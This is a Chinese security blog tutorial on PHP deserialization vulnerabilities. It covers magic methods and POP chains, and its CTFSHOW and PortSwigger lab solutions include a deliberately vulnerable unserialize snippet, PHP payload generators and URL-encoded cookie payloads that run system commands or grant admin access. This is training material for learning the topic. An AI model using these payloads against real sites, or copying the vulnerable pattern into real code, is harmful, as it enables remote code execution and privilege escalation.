PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

Ethan医生5个月前WEB安全150








1、什么是反序列化操作? - 类型转换

- PHP & JavaEE & .NET & Python(见图)

序列化:对象转换为数组或字符串等格式

反序列化:将数组或字符串等格式转换成对象

serialize() //将对象转换成一个字符串

unserialize() //将字符串还原成一个对象

 

2、常见PHP魔术方法?- 对象逻辑(见图)

__construct(): //当对象new的时候会自动调用

__destruct()//当对象被销毁时会被自动调用

__sleep(): //serialize()执行时被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用

__toString(): //把类当作字符串使用时触发

__call(): //调用某个方法;若不存在,则会去调用__call函数。

__callStatic(): //在静态上下文中调用不可访问的方法时触发

__get(): //读取对象属性时,若不存在,则会调用__get函数

__set(): //设置对象的属性时,若不存在,则调用__set函数。

__isset(): //在不可访问的属性上调用isset()或empty()触发

__unset(): //在不可访问的属性上使用unset()时触发

__set_state(),调用var_export()导出类时,此静态方法会被调用

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

 

3、为什么会出现安全漏洞?

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

<?php

class B{

public $cmd='';

public function __destruct(){

system($this->cmd);

}

}

//函数引用,无对象创建触发魔术方法

unserialize($_GET['x']);

 

4、反序列化漏洞如何利用?- POP链构造

POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

-反序列化常见起点(见图)

-反序列化常见跳板(见图)

-反序列化常见终点(见图)

 

#黑盒-portswigger-数据序列化

https://portswigger.net/web-security/all-labs#insecure-deserialization

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"elrtoxj3rcx3n1ip4u723mk839qht90h";s:11:"avatar_link";s:19:"users/wiener/avatar";}

 

#白盒-CTFSHOW-训练链构造

254-对象引用执行逻辑

username=xxxxxx&password=xxxxxx

 

255-反序列化变量修改1

CODE:

<?php

class ctfShowUser{

public $isVip=true;

}

 

$a=new ctfShowUser();

echo urlencode(serialize($a));

?>

Get:username=xxxxxx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

 

256-反序列化参数修改2

CODE:

<?php

class ctfShowUser{

public $username='xiaodi';

public $password='xiaodisec';

public $isVip=true;

}

 

$a=new ctfShowUser();

echo urlencode(serialize($a));

 

?>

GET:username=xiaodi&password=xiaodisec

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xiaodi%22%3Bs%3A8%3A%22password%22%3Bs%3A9%3A%22xiaodisec%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

 

 

257-反序列化参数修改&对象调用逻辑

image.png

CODE:

<?php

class ctfShowUser{

public $class = 'backDoor';

public function __construct(){

$this->class=new backDoor();

}

}

class backDoor{

public $code='system("tac flag.php");';


}

echo urlencode(serialize(new ctfShowUser));

?>

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

 

258-反序列化参数修改&对象调用逻辑&正则

CODE:

<?php

class ctfShowUser{

public $class = 'backDoor';

public function __construct(){

$this->class=new backDoor();

}

}

class backDoor{

public $code="system('tac flag.php');";

}

 

$a=serialize(new ctfShowUser());

$b=str_replace(':11',':+11',$a);

$c=str_replace(':8',':+8',$b);

echo urlencode($c);

?>

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D



标签: PHP

相关文章

PHP反序列化&Phar文件类&CLI框架类&PHPGGC生成器&TP&Yii&Laravel

PHP反序列化&Phar文件类&CLI框架类&PHPGGC生成器&TP&Yii&Laravel

#Phar反序列化解释:从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。 原理:PHP文件系统函...

PHP原生开发篇&文件安全&上传监控&功能定位&关键搜索&1day挖掘

PHP原生开发篇&文件安全&上传监控&功能定位&关键搜索&1day挖掘

快速分析脆弱:1、看文件路径2、看代码里面的变量(可控)3、看变量前后的过滤 文件安全挖掘点:1、脚本文件名2、应用功能点3、操作关键字文件上传,文件下载(读取),文件包含,文件删除等&nb...

PHP框架开发篇&实战ThinkPHP项目&打击微交易&源码获取&扩大战果

背景交代:旨在提高打击违法犯罪能力,请勿用于黑X用途,否则后果自负!模拟实战中如何打击某微盘系统,源码获取再到代审及后续实战检测。 搭建复现:1、目录指向绑定域名2、修改配置导入SQL文件3...

PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析

PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析

挖掘技巧:-语句监控-数据库SQL监控排查可利用语句定向分析-功能追踪-功能点文件SQL执行代码函数调用链追踪-正则搜索-(update|select|insert|delete|).*?where....

PHP模型开发篇&动态调试&反序列化&变量覆盖&TP框架&原生POP链

#PHP常见漏洞关键字:SQL注入:select insert update mysql_query mysqli等文件上传:$_FILES,type="file",上传,move...

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。